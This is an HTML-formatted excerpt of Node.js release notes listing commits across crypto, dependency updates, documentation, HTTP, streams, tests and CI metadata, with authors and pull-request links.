<li>[<a href="https://github.com/nodejs/node/commit/32bb554f5b"><code>32bb554f5b</code></a>] - <strong>crypto</strong>: fix large DH generator validation (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/64092" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64092/hovercard">#64092</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0908d76ef6"><code>0908d76ef6</code></a>] - <strong>crypto</strong>: reject small-order EdDSA points during verify (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64026" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64026/hovercard">#64026</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f7e5863c2"><code>7f7e5863c2</code></a>] - <strong>deps</strong>: update undici to 8.7.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64282" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64282/hovercard">#64282</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af91029801"><code>af91029801</code></a>] - <strong>deps</strong>: update nghttp3 to 1.17.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64182" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64182/hovercard">#64182</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e500ba7b0"><code>2e500ba7b0</code></a>] - <strong>deps</strong>: update googletest to 8b53336594cc52213c6c2c7a0b29194fa896d039 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64181" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64181/hovercard">#64181</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/74e3aa24ba"><code>74e3aa24ba</code></a>] - <strong>deps</strong>: update sqlite to 3.53.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64180" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64180/hovercard">#64180</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c7e57f55a7"><code>c7e57f55a7</code></a>] - <strong>deps</strong>: c-ares: cherry-pick 8ba37af8e3fb (René) <a href="https://github.com/nodejs/node/pull/64110" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64110/hovercard">#64110</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/879fdc4daf"><code>879fdc4daf</code></a>] - <strong>deps</strong>: V8: backport da20a197a7f9 (Kevin Gibbons) <a href="https://github.com/nodejs/node/pull/64101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64101/hovercard">#64101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a640543a7c"><code>a640543a7c</code></a>] - <strong>deps</strong>: V8: cherry-pick 0cc9eb22c0b0 (Kevin Gibbons) <a href="https://github.com/nodejs/node/pull/64101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64101/hovercard">#64101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/feefd179e5"><code>feefd179e5</code></a>] - <strong>deps</strong>: V8: cherry-pick 1a391f98cc7a (Kevin Gibbons) <a href="https://github.com/nodejs/node/pull/64101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64101/hovercard">#64101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8ef643d4b0"><code>8ef643d4b0</code></a>] - <strong>deps</strong>: update googletest to 0b1e895ba4226c2fda5ee0178c9b5b1195a741aa (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64039" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64039/hovercard">#64039</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e50bb0655"><code>9e50bb0655</code></a>] - <strong>dgram</strong>: skip dns.lookup() for literal IP addresses (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/64133" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64133/hovercard">#64133</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc052c095c"><code>dc052c095c</code></a>] - <strong>diagnostics_channel</strong>: return original thenable (Stephen Belanger) <a href="https://github.com/nodejs/node/pull/62407" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62407/hovercard">#62407</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a22a840293"><code>a22a840293</code></a>] - <strong>doc</strong>: clarify QUIC stream state wording (EduardF1) <a href="https://github.com/nodejs/node/pull/63660" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63660/hovercard">#63660</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8d4bec2d71"><code>8d4bec2d71</code></a>] - <strong>doc</strong>: update Http2SecureServer.on("timeout") default value (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/64187" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64187/hovercard">#64187</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/da88f70afa"><code>da88f70afa</code></a>] - <strong>doc</strong>: add note on visibility of CI failures to new contributor guide (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/64256" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64256/hovercard">#64256</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/20ce359ccb"><code>20ce359ccb</code></a>] - <strong>doc</strong>: clarify HTTP/1.1 response ordering (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64213" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64213/hovercard">#64213</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/05eae2835c"><code>05eae2835c</code></a>] - <strong>doc</strong>: recommend node-stress-single-test for flaky tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64223" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64223/hovercard">#64223</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3966eb67e7"><code>3966eb67e7</code></a>] - <strong>doc</strong>: fix typo in examples (Vas Sudanagunta) <a href="https://github.com/nodejs/node/pull/64184" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64184/hovercard">#64184</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12a2b9daa3"><code>12a2b9daa3</code></a>] - <strong>doc</strong>: fix typo in node-config-schema.json (Hamid Reza Ghavami) <a href="https://github.com/nodejs/node/pull/64188" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64188/hovercard">#64188</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0854482671"><code>0854482671</code></a>] - <strong>doc</strong>: clarify defense-in-depth issues (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64215" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64215/hovercard">#64215</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef4915fc3a"><code>ef4915fc3a</code></a>] - <strong>doc</strong>: fix Fast FFI argument count in ffi.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63960" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63960/hovercard">#63960</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb2eed863c"><code>bb2eed863c</code></a>] - <strong>doc</strong>: add sxa GPG key (ed25519) (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/64193" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64193/hovercard">#64193</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7bf6e3a06"><code>b7bf6e3a06</code></a>] - <strong>doc</strong>: add guide and answers to FAQs for first-time contributors (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63685" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63685/hovercard">#63685</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ff537ba858"><code>ff537ba858</code></a>] - <strong>doc</strong>: update <code>Http2Server.close</code> &amp; <code>Http2SecureServer.close</code> (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/63298" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63298/hovercard">#63298</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f3db304588"><code>f3db304588</code></a>] - <strong>doc</strong>: update list of people in <code>SECURITY.md</code> (Richard Lau) <a href="https://github.com/nodejs/node/pull/64152" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64152/hovercard">#64152</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a126647b0"><code>2a126647b0</code></a>] - <strong>doc</strong>: clarify vfs is not a sandbox (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64143" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64143/hovercard">#64143</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85fc79dd9b"><code>85fc79dd9b</code></a>] - <strong>doc</strong>: fix broken links and duplicate stability label (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64130" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64130/hovercard">#64130</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/189e830eb3"><code>189e830eb3</code></a>] - <strong>doc</strong>: add missing option to man page (Richard Lau) <a href="https://github.com/nodejs/node/pull/64156" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64156/hovercard">#64156</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a16ccccd0"><code>7a16ccccd0</code></a>] - <strong>doc</strong>: announce upcoming end of tier 2 support for macOS x64 (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63931" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63931/hovercard">#63931</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d5f826045f"><code>d5f826045f</code></a>] - <strong>doc</strong>: update toolchain for official AIX releases (Richard Lau) <a href="https://github.com/nodejs/node/pull/64068" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64068/hovercard">#64068</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/60abc4400f"><code>60abc4400f</code></a>] - <strong>doc</strong>: fix callback example import in fs docs (Kamal Rawal) <a href="https://github.com/nodejs/node/pull/63912" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63912/hovercard">#63912</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e470c74a6c"><code>e470c74a6c</code></a>] - <strong>doc</strong>: fix keepAliveTimeout default in http.createServer options (Jahanzaib iqbal) <a href="https://github.com/nodejs/node/pull/63974" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63974/hovercard">#63974</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/851b460583"><code>851b460583</code></a>] - <strong>esm</strong>: improve ERR_REQUIRE_ASYNC_MODULE (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64260" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64260/hovercard">#64260</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0cd443df39"><code>0cd443df39</code></a>] - <strong>esm</strong>: print required top-level await locations without evaluating (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64154" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64154/hovercard">#64154</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b373202efc"><code>b373202efc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>esm</strong>: add <code>--experimental-import-text</code> flag (Efe) <a href="https://github.com/nodejs/node/pull/62300" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62300/hovercard">#62300</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eacfbd0ca5"><code>eacfbd0ca5</code></a>] - <strong>http</strong>: add CONNECT method handling for default Host header with proxy (Archkon) <a href="https://github.com/nodejs/node/pull/64114" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64114/hovercard">#64114</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aeb539a383"><code>aeb539a383</code></a>] - <strong>http</strong>: fix drain event with cork/uncork (David Evans) <a href="https://github.com/nodejs/node/pull/64038" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64038/hovercard">#64038</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8e8874b216"><code>8e8874b216</code></a>] - <strong>http</strong>: document and validate options.path when it's in absolute-form (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64108" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64108/hovercard">#64108</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eb2e96bc28"><code>eb2e96bc28</code></a>] - <strong>inspector</strong>: fix crash when writing to closed inspector socket (ympark2011) <a href="https://github.com/nodejs/node/pull/64209" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64209/hovercard">#64209</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/243b0e4e57"><code>243b0e4e57</code></a>] - <strong>lib</strong>: reject string "0" in validatePort when allowZero is false (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/64174" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64174/hovercard">#64174</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34a537c0ed"><code>34a537c0ed</code></a>] - <strong>lib</strong>: use <code>__proto__: null</code> when calling <code>ObjectDefineProperty</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64239" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64239/hovercard">#64239</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1f72393f19"><code>1f72393f19</code></a>] - <strong>lib</strong>: lazily initialize kEvents and kHandlers maps (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/63702" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63702/hovercard">#63702</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92a3dc3191"><code>92a3dc3191</code></a>] - <strong>lib,permission</strong>: fix addon permission drop (Martin Wagner) <a href="https://github.com/nodejs/node/pull/64007" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64007/hovercard">#64007</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87b8f2a296"><code>87b8f2a296</code></a>] - <strong>meta</strong>: fix linter warning in <code>stale.yml</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64281" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64281/hovercard">#64281</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/829c4a5913"><code>829c4a5913</code></a>] - <strong>meta</strong>: bump actions/cache from 5.0.5 to 6.1.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64248" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64248/hovercard">#64248</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0808dcd31c"><code>0808dcd31c</code></a>] - <strong>meta</strong>: bump github/codeql-action/autobuild from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64247" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64247/hovercard">#64247</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/64aa17058f"><code>64aa17058f</code></a>] - <strong>meta</strong>: bump github/codeql-action/analyze from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64246" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64246/hovercard">#64246</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/873d1e0412"><code>873d1e0412</code></a>] - <strong>meta</strong>: bump actions/checkout from 6.0.2 to 7.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64245" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64245/hovercard">#64245</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe460ccf0b"><code>fe460ccf0b</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 6.0.1 to 7.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64244/hovercard">#64244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/845c63ed50"><code>845c63ed50</code></a>] - <strong>meta</strong>: bump rtCamp/action-slack-notify from 2.3.3 to 2.4.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64243" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64243/hovercard">#64243</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2cad2d6de5"><code>2cad2d6de5</code></a>] - <strong>meta</strong>: bump github/codeql-action/init from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64242" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64242/hovercard">#64242</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0ddde950c7"><code>0ddde950c7</code></a>] - <strong>meta</strong>: bump actions/setup-python from 6.2.0 to 6.3.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64241" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64241/hovercard">#64241</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c0a8760d2f"><code>c0a8760d2f</code></a>] - <strong>meta</strong>: bump github/codeql-action/upload-sarif from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64240" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64240/hovercard">#64240</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f49704b9d0"><code>f49704b9d0</code></a>] - <strong>meta</strong>: clarify V8 flags are outside threat model (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64224" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64224/hovercard">#64224</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6b8dc58e6e"><code>6b8dc58e6e</code></a>] - <strong>meta</strong>: move one or more collaborators to emeritus (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64057" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64057/hovercard">#64057</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe5260cca7"><code>fe5260cca7</code></a>] - <strong>meta</strong>: update status of past strategic initiatives (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63480" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63480/hovercard">#63480</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7b01040008"><code>7b01040008</code></a>] - <strong>meta</strong>: speed up stale bot (Aviv Keller) <a href="https://github.com/nodejs/node/pull/64075" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64075/hovercard">#64075</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/874c46c24f"><code>874c46c24f</code></a>] - <strong>meta</strong>: update sccache version in test-linux-quic (René) <a href="https://github.com/nodejs/node/pull/64043" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64043/hovercard">#64043</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/48c5c86363"><code>48c5c86363</code></a>] - <strong>module</strong>: enable import support for addons by default (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64221" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64221/hovercard">#64221</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39e0c14455"><code>39e0c14455</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>perf_hooks</strong>: sample delay per event loop iteration (Pablo Erhard) <a href="https://github.com/nodejs/node/pull/62935" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62935/hovercard">#62935</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f90f1bd032"><code>f90f1bd032</code></a>] - <strong>perf_hooks</strong>: add NODE_PERFORMANCE_GC_MINOR_MARK_SWEEP constant (Attila Szegedi) <a href="https://github.com/nodejs/node/pull/63877" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63877/hovercard">#63877</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bdf32628c7"><code>bdf32628c7</code></a>] - <strong>process</strong>: fix finalization cleanup ref tracking (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64087" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64087/hovercard">#64087</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a65b7fff4"><code>9a65b7fff4</code></a>] - <strong>quic</strong>: drop version negotiation packets with oversized CIDs (Mohamed Sayed) <a href="https://github.com/nodejs/node/pull/64228" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64228/hovercard">#64228</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2699fe4706"><code>2699fe4706</code></a>] - <strong>quic</strong>: fixes undefined handle in QuicStream kInspect (Marten Richter) <a href="https://github.com/nodejs/node/pull/64170" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64170/hovercard">#64170</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00dea28bb3"><code>00dea28bb3</code></a>] - <strong>repl</strong>: lazy-load acorn and defer vm context creation (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63879" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63879/hovercard">#63879</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce659a1cf9"><code>ce659a1cf9</code></a>] - <strong>src</strong>: fix escaping of single quotes in task runner (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64089" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64089/hovercard">#64089</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dbb3126e5c"><code>dbb3126e5c</code></a>] - <strong>src</strong>: abstract tracing agent for both legacy and perfetto (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64053" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64053/hovercard">#64053</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12edf1d68d"><code>12edf1d68d</code></a>] - <strong>src</strong>: avoid redundant call to <code>std::get_if&lt;&gt;()</code> (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/64094" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64094/hovercard">#64094</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eda91b6d01"><code>eda91b6d01</code></a>] - <strong>src</strong>: avoid copying source string in TextEncoder.encode (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63897" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63897/hovercard">#63897</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/efbbb9a03c"><code>efbbb9a03c</code></a>] - <strong>stream</strong>: preserve half-open duplexes in async iteration (Efe) <a href="https://github.com/nodejs/node/pull/64275" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64275/hovercard">#64275</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/999a83c937"><code>999a83c937</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: expose ReadableStreamTee (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64195" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64195/hovercard">#64195</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ab5ed72903"><code>ab5ed72903</code></a>] - <strong>stream</strong>: reject iter consumers on abort (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64066/hovercard">#64066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3fa77c5e2"><code>d3fa77c5e2</code></a>] - <strong>stream</strong>: fix merge abort for pending sources (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64013" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64013/hovercard">#64013</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/38b99140ed"><code>38b99140ed</code></a>] - <strong>stream</strong>: refactor unnecessary optional chaining away (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64253" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64253/hovercard">#64253</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c81f894ebe"><code>c81f894ebe</code></a>] - <strong>stream</strong>: cut per-chunk overhead in WHATWG streams (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64252" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64252/hovercard">#64252</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f162234f24"><code>f162234f24</code></a>] - <strong>stream</strong>: normalize Broadcast.from() byte inputs (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64082" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64082/hovercard">#64082</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1182ad8f3b"><code>1182ad8f3b</code></a>] - <strong>stream</strong>: proxy first own method in Readable.wrap() (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/64048" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64048/hovercard">#64048</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0b830b382"><code>d0b830b382</code></a>] - <strong>stream</strong>: observe abort while awaiting pipeTo source (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64015" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64015/hovercard">#64015</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f7adcd8359"><code>f7adcd8359</code></a>] - <strong>stream</strong>: respect iter consumer abort signals (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63997" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63997/hovercard">#63997</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b09e624c6f"><code>b09e624c6f</code></a>] - <strong>test</strong>: make blob desiredSize assertion robust (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64106" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64106/hovercard">#64106</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0d8f0c774"><code>d0d8f0c774</code></a>] - <strong>test</strong>: update WPT for urlpattern to 11a459a2b1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64037" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64037/hovercard">#64037</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ff9122c20c"><code>ff9122c20c</code></a>] - <strong>test</strong>: improve lcov reporter snapshot diagnostics (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64049" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64049/hovercard">#64049</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/570952d4f3"><code>570952d4f3</code></a>] - <strong>test</strong>: keep finalization close fixture ref alive (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64085" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64085/hovercard">#64085</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1b4f213380"><code>1b4f213380</code></a>] - <strong>test</strong>: fix typo from overriden to overridden (parkhojeong) <a href="https://github.com/nodejs/node/pull/63403" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63403/hovercard">#63403</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c91090b8b"><code>4c91090b8b</code></a>] - <strong>test</strong>: fix typo from funciton to function (parkhojeong) <a href="https://github.com/nodejs/node/pull/63403" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63403/hovercard">#63403</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bf080c7917"><code>bf080c7917</code></a>] - <strong>test</strong>: mark hr-time WPT flaky on macos15-x64 (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64054" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64054/hovercard">#64054</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/24e32098c5"><code>24e32098c5</code></a>] - <strong>test</strong>: use one-off agent in http consumed timeout test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64052" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64052/hovercard">#64052</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3229886de2"><code>3229886de2</code></a>] - <strong>test</strong>: fix flaky test-runner coverage threshold test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64051" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64051/hovercard">#64051</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83b91ea6ec"><code>83b91ea6ec</code></a>] - <strong>test_runner</strong>: filter execArgv fallback for child tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64056" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64056/hovercard">#64056</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/269b609a3d"><code>269b609a3d</code></a>] - <strong>test_runner</strong>: improve coverage failure diagnostics (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64050/hovercard">#64050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0342744c34"><code>0342744c34</code></a>] - <strong>test_runner</strong>: add timestamp to JUnit reporter testsuites (sangwook) <a href="https://github.com/nodejs/node/pull/64029" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64029/hovercard">#64029</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/086741d121"><code>086741d121</code></a>] - <strong>timers</strong>: reuse Timeout objects in setStreamTimeout (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64254" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64254/hovercard">#64254</a></li>
